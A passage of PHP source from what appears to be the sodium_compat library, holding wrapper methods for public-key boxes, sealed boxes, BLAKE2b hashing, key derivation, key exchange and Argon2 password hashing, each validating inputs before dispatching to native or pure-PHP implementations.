used Once; must be 24 bytes * @param string $keypair Your secret key and your recipient's public key * @return string Ciphertext with 16-byte Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box($plaintext, $nonce, $keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box($plaintext, $nonce, $keypair); } if (self::use_fallback('crypto_box')) { return (string) call_user_func('\\Sodium\\crypto_box', $plaintext, $nonce, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce, $keypair); } return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair); } /** * Anonymous public-key encryption. Only the recipient may decrypt messages. * * Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box. * The sender's X25519 keypair is ephemeral. * Nonce is generated from the BLAKE2b hash of both public keys. * * This provides ciphertext integrity. * * @param string $plaintext Message to be sealed * @param string $publicKey Your recipient's public key * @return string Sealed message that only your recipient can * decrypt * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_seal($plaintext, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_seal($plaintext, $publicKey); } if (self::use_fallback('crypto_box_seal')) { return (string) call_user_func('\\Sodium\\crypto_box_seal', $plaintext, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seal($plaintext, $publicKey); } return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey); } /** * Opens a message encrypted with crypto_box_seal(). Requires * the recipient's keypair (sk || pk) to decrypt successfully. * * This validates ciphertext integrity. * * @param string $ciphertext Sealed message to be opened * @param string $keypair Your crypto_box keypair * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_box_seal_open($ciphertext, $keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_box_seal_open($ciphertext, $keypair); } if (self::use_fallback('crypto_box_seal_open')) { return call_user_func('\\Sodium\\crypto_box_seal_open', $ciphertext, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext, $keypair); } return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext, $keypair); } /** * Generate a new random X25519 keypair. * * @return string A 64-byte string; the first 32 are your secret key, while * the last 32 are your public key. crypto_box_secretkey() * and crypto_box_publickey() exist to separate them so you * don't accidentally get them mixed up! * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_keypair() { if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_keypair(); } if (self::use_fallback('crypto_box_keypair')) { return (string) call_user_func('\\Sodium\\crypto_box_keypair'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_keypair(); } return ParagonIE_Sodium_Crypto::box_keypair(); } /** * Combine two keys into a keypair for use in library methods that expect * a keypair. This doesn't necessarily have to be the same person's keys. * * @param string $secretKey Secret key * @param string $publicKey Public key * @return string Keypair * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } if (self::use_fallback('crypto_box_keypair_from_secretkey_and_publickey')) { return (string) call_user_func('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey', $secretKey, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } return ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } /** * Decrypt a message previously encrypted with crypto_box(). * * @param string $ciphertext Encrypted message * @param string $nonce Number to only be used Once; must be 24 bytes * @param string $keypair Your secret key and the sender's public key * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_box_open($ciphertext, $nonce, $keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_BOX_MACBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_BOX_MACBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_box_open($ciphertext, $nonce, $keypair); } if (self::use_fallback('crypto_box_open')) { return call_user_func('\\Sodium\\crypto_box_open', $ciphertext, $nonce, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce, $keypair); } return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce, $keypair); } /** * Extract the public key from a crypto_box keypair. * * @param string $keypair Keypair containing secret and public key * @return string Your crypto_box public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_publickey($keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_publickey($keypair); } if (self::use_fallback('crypto_box_publickey')) { return (string) call_user_func('\\Sodium\\crypto_box_publickey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_publickey($keypair); } return ParagonIE_Sodium_Crypto::box_publickey($keypair); } /** * Calculate the X25519 public key from a given X25519 secret key. * * @param string $secretKey Any X25519 secret key * @return string The corresponding X25519 public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_publickey_from_secretkey($secretKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_publickey_from_secretkey($secretKey); } if (self::use_fallback('crypto_box_publickey_from_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_box_publickey_from_secretkey', $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey); } return ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey); } /** * Extract the secret key from a crypto_box keypair. * * @param string $keypair * @return string Your crypto_box secret key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_secretkey($keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_secretkey($keypair); } if (self::use_fallback('crypto_box_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_box_secretkey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_secretkey($keypair); } return ParagonIE_Sodium_Crypto::box_secretkey($keypair); } /** * Generate an X25519 keypair from a seed. * * @param string $seed * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress UndefinedFunction */ public static function crypto_box_seed_keypair($seed) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_seed_keypair($seed); } if (self::use_fallback('crypto_box_seed_keypair')) { return (string) call_user_func('\\Sodium\\crypto_box_seed_keypair', $seed); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed); } return ParagonIE_Sodium_Crypto::box_seed_keypair($seed); } /** * Calculates a BLAKE2b hash, with an optional key. * * @param string $message The message to be hashed * @param string|null $key If specified, must be a string between 16 * and 64 bytes long * @param int $length Output length in bytes; must be between 16 * and 64 (default = 32) * @return string Raw binary * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash($message, $key = '', $length = self::CRYPTO_GENERICHASH_BYTES) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 3); /* Input validation: */ if (!empty($key)) { if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_generichash($message, $key, $length); } if (self::use_fallback('crypto_generichash')) { return (string) call_user_func('\\Sodium\\crypto_generichash', $message, $key, $length); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash($message, $key, $length); } return ParagonIE_Sodium_Crypto::generichash($message, $key, $length); } /** * Get the final BLAKE2b hash output for a given context. * * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init(). * @param int $length Hash output size. * @return string Final BLAKE2b hash. * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress ReferenceConstraintViolation * @psalm-suppress ConflictingReferenceConstraint */ public static function crypto_generichash_final(&$ctx, $length = self::CRYPTO_GENERICHASH_BYTES) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); if (self::useNewSodiumAPI()) { return sodium_crypto_generichash_final($ctx, $length); } if (self::use_fallback('crypto_generichash_final')) { $func = '\\Sodium\\crypto_generichash_final'; return (string) $func($ctx, $length); } if ($length < 1) { try { self::memzero($ctx); } catch (SodiumException $ex) { unset($ctx); } return ''; } if (PHP_INT_SIZE === 4) { $result = ParagonIE_Sodium_Crypto32::generichash_final($ctx, $length); } else { $result = ParagonIE_Sodium_Crypto::generichash_final($ctx, $length); } try { self::memzero($ctx); } catch (SodiumException $ex) { unset($ctx); } return $result; } /** * Initialize a BLAKE2b hashing context, for use in a streaming interface. * * @param string|null $key If specified must be a string between 16 and 64 bytes * @param int $length The size of the desired hash output * @return string A BLAKE2 hashing context, encoded as a string * (To be 100% compatible with ext/libsodium) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash_init($key = '', $length = self::CRYPTO_GENERICHASH_BYTES) { /* Type checks: */ if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); /* Input validation: */ if (!empty($key)) { if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (self::useNewSodiumAPI()) { return sodium_crypto_generichash_init($key, $length); } if (self::use_fallback('crypto_generichash_init')) { return (string) call_user_func('\\Sodium\\crypto_generichash_init', $key, $length); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash_init($key, $length); } return ParagonIE_Sodium_Crypto::generichash_init($key, $length); } /** * Initialize a BLAKE2b hashing context, for use in a streaming interface. * * @param string|null $key If specified must be a string between 16 and 64 bytes * @param int $length The size of the desired hash output * @param string $salt Salt (up to 16 bytes) * @param string $personal Personalization string (up to 16 bytes) * @return string A BLAKE2 hashing context, encoded as a string * (To be 100% compatible with ext/libsodium) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash_init_salt_personal( $key = '', $length = self::CRYPTO_GENERICHASH_BYTES, $salt = '', $personal = '' ) { /* Type checks: */ if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($personal, 'string', 4); $salt = str_pad($salt, 16, "\0", STR_PAD_RIGHT); $personal = str_pad($personal, 16, "\0", STR_PAD_RIGHT); /* Input validation: */ if (!empty($key)) { /* if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } */ if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash_init_salt_personal($key, $length, $salt, $personal); } return ParagonIE_Sodium_Crypto::generichash_init_salt_personal($key, $length, $salt, $personal); } /** * Update a BLAKE2b hashing context with additional data. * * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init(). * $ctx is passed by reference and gets updated in-place. * @param-out string $ctx * @param string $message The message to append to the existing hash state. * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress ReferenceConstraintViolation */ public static function crypto_generichash_update(&$ctx, $message) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); if (self::useNewSodiumAPI()) { sodium_crypto_generichash_update($ctx, $message); return; } if (self::use_fallback('crypto_generichash_update')) { $func = '\\Sodium\\crypto_generichash_update'; $func($ctx, $message); return; } if (PHP_INT_SIZE === 4) { $ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx, $message); } else { $ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx, $message); } } /** * @return string * @throws Exception * @throws Error */ public static function crypto_generichash_keygen() { return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES); } /** * @param int $subkey_len * @param int $subkey_id * @param string $context * @param string $key * @return string * @throws SodiumException */ public static function crypto_kdf_derive_from_key( $subkey_len, $subkey_id, $context, $key ) { ParagonIE_Sodium_Core_Util::declareScalarType($subkey_len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($subkey_id, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($context, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); $subkey_id = (int) $subkey_id; $subkey_len = (int) $subkey_len; $context = (string) $context; $key = (string) $key; if ($subkey_len < self::CRYPTO_KDF_BYTES_MIN) { throw new SodiumException('subkey cannot be smaller than SODIUM_CRYPTO_KDF_BYTES_MIN'); } if ($subkey_len > self::CRYPTO_KDF_BYTES_MAX) { throw new SodiumException('subkey cannot be larger than SODIUM_CRYPTO_KDF_BYTES_MAX'); } if ($subkey_id < 0) { throw new SodiumException('subkey_id cannot be negative'); } if (ParagonIE_Sodium_Core_Util::strlen($context) !== self::CRYPTO_KDF_CONTEXTBYTES) { throw new SodiumException('context should be SODIUM_CRYPTO_KDF_CONTEXTBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_KDF_KEYBYTES) { throw new SodiumException('key should be SODIUM_CRYPTO_KDF_KEYBYTES bytes'); } $salt = ParagonIE_Sodium_Core_Util::store64_le($subkey_id); $state = self::crypto_generichash_init_salt_personal( $key, $subkey_len, $salt, $context ); return self::crypto_generichash_final($state, $subkey_len); } /** * @return string * @throws Exception * @throws Error */ public static function crypto_kdf_keygen() { return random_bytes(self::CRYPTO_KDF_KEYBYTES); } /** * Perform a key exchange, between a designated client and a server. * * Typically, you would designate one machine to be the client and the * other to be the server. The first two keys are what you'd expect for * scalarmult() below, but the latter two public keys don't swap places. * * | ALICE | BOB | * | Client | Server | * |--------------------------------|-------------------------------------| * | shared = crypto_kx( | shared = crypto_kx( | * | alice_sk, | bob_sk, | <- contextual * | bob_pk, | alice_pk, | <- contextual * | alice_pk, | alice_pk, | <----- static * | bob_pk | bob_pk | <----- static * | ) | ) | * * They are used along with the scalarmult product to generate a 256-bit * BLAKE2b hash unique to the client and server keys. * * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @param bool $dontFallback * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_kx($my_secret, $their_public, $client_public, $server_public, $dontFallback = false) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($my_secret, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($their_public, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($client_public, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($server_public, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($their_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($client_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($server_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 4 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_kx')) { return (string) sodium_crypto_kx( $my_secret, $their_public, $client_public, $server_public ); } } if (self::use_fallback('crypto_kx')) { return (string) call_user_func( '\\Sodium\\crypto_kx', $my_secret, $their_public, $client_public, $server_public ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::keyExchange( $my_secret, $their_public, $client_public, $server_public ); } return ParagonIE_Sodium_Crypto::keyExchange( $my_secret, $their_public, $client_public, $server_public ); } /** * @param string $seed * @return string * @throws SodiumException */ public static function crypto_kx_seed_keypair($seed) { ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); $seed = (string) $seed; if (ParagonIE_Sodium_Core_Util::strlen($seed) !== self::CRYPTO_KX_SEEDBYTES) { throw new SodiumException('seed must be SODIUM_CRYPTO_KX_SEEDBYTES bytes'); } $sk = self::crypto_generichash($seed, '', self::CRYPTO_KX_SECRETKEYBYTES); $pk = self::crypto_scalarmult_base($sk); return $sk . $pk; } /** * @return string * @throws Exception */ public static function crypto_kx_keypair() { $sk = self::randombytes_buf(self::CRYPTO_KX_SECRETKEYBYTES); $pk = self::crypto_scalarmult_base($sk); return $sk . $pk; } /** * @param string $keypair * @param string $serverPublicKey * @return array{0: string, 1: string} * @throws SodiumException */ public static function crypto_kx_client_session_keys($keypair, $serverPublicKey) { ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($serverPublicKey, 'string', 2); $keypair = (string) $keypair; $serverPublicKey = (string) $serverPublicKey; if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) { throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($serverPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) { throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes'); } $sk = self::crypto_kx_secretkey($keypair); $pk = self::crypto_kx_publickey($keypair); $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2); self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $serverPublicKey)); self::crypto_generichash_update($h, $pk); self::crypto_generichash_update($h, $serverPublicKey); $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2); return array( ParagonIE_Sodium_Core_Util::substr( $sessionKeys, 0, self::CRYPTO_KX_SESSIONKEYBYTES ), ParagonIE_Sodium_Core_Util::substr( $sessionKeys, self::CRYPTO_KX_SESSIONKEYBYTES, self::CRYPTO_KX_SESSIONKEYBYTES ) ); } /** * @param string $keypair * @param string $clientPublicKey * @return array{0: string, 1: string} * @throws SodiumException */ public static function crypto_kx_server_session_keys($keypair, $clientPublicKey) { ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($clientPublicKey, 'string', 2); $keypair = (string) $keypair; $clientPublicKey = (string) $clientPublicKey; if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) { throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($clientPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) { throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes'); } $sk = self::crypto_kx_secretkey($keypair); $pk = self::crypto_kx_publickey($keypair); $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2); self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $clientPublicKey)); self::crypto_generichash_update($h, $clientPublicKey); self::crypto_generichash_update($h, $pk); $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2); return array( ParagonIE_Sodium_Core_Util::substr( $sessionKeys, self::CRYPTO_KX_SESSIONKEYBYTES, self::CRYPTO_KX_SESSIONKEYBYTES ), ParagonIE_Sodium_Core_Util::substr( $sessionKeys, 0, self::CRYPTO_KX_SESSIONKEYBYTES ) ); } /** * @param string $kp * @return string * @throws SodiumException */ public static function crypto_kx_secretkey($kp) { return ParagonIE_Sodium_Core_Util::substr( $kp, 0, self::CRYPTO_KX_SECRETKEYBYTES ); } /** * @param string $kp * @return string * @throws SodiumException */ public static function crypto_kx_publickey($kp) { return ParagonIE_Sodium_Core_Util::substr( $kp, self::CRYPTO_KX_SECRETKEYBYTES, self::CRYPTO_KX_PUBLICKEYBYTES ); } /** * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @param int|null $alg * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg = null) { ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5); if (self::useNewSodiumAPI()) { if (!is_null($alg)) { ParagonIE_Sodium_Core_Util::declareScalarType($alg, 'int', 6); return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg); } return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit); } if (self::use_fallback('crypto_pwhash')) { return (string) call_user_func('\\Sodium\\crypto_pwhash', $outlen, $passwd, $salt, $opslimit, $memlimit); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * !Exclusive to sodium_compat! * * This returns TRUE if the native crypto_pwhash API is available by libsodium. * This returns FALSE if only sodium_compat is available. * * @return bool */ public static function crypto_pwhash_is_available() { if (self::useNewSodiumAPI()) { return true; } if (self::use_fallback('crypto_pwhash')) { return true; } return false; } /** * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash_str($passwd, $opslimit, $memlimit) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); if (self::useNewSodiumAPI()) { return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit); } if (self::use_fallback('crypto_pwhash_str')) { return (string) call_user_func('\\Sodium\\crypto_pwhash_str', $passwd, $opslimit, $memlimit); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * Do we need to rehash this password? * * @param string $hash * @param int $opslimit * @param int $memlimit * @return bool * @throws SodiumException */ public static function crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit) { ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); // Just grab the first 4 pieces. $pieces = explode('$', (string) $hash); $prefix = implode('$', array_slice($pieces, 0, 4)); // Rebuild the expected header. /** @var int $ops */ $ops = (int) $opslimit; /** @var int $mem */ $mem = (int) $memlimit >> 10; $encoded = self::CRYPTO_PWHASH_STRPREFIX . 'v=19$m=' . $mem . ',t=' . $ops . ',p=1'; // Do they match? If so, we don't need to rehash, so return false. return !ParagonIE_Sodium_Core_Util::hashEquals($encoded, $prefix); } /** * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash_str_verify($passwd, $hash) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2); if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash); } if (self::use_fallback('crypto_pwhash_str_verify')) { return (bool) call_user_func('\\Sodium\\crypto_pwhash_str_verify', $passwd, $hash); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt, $opslimit, 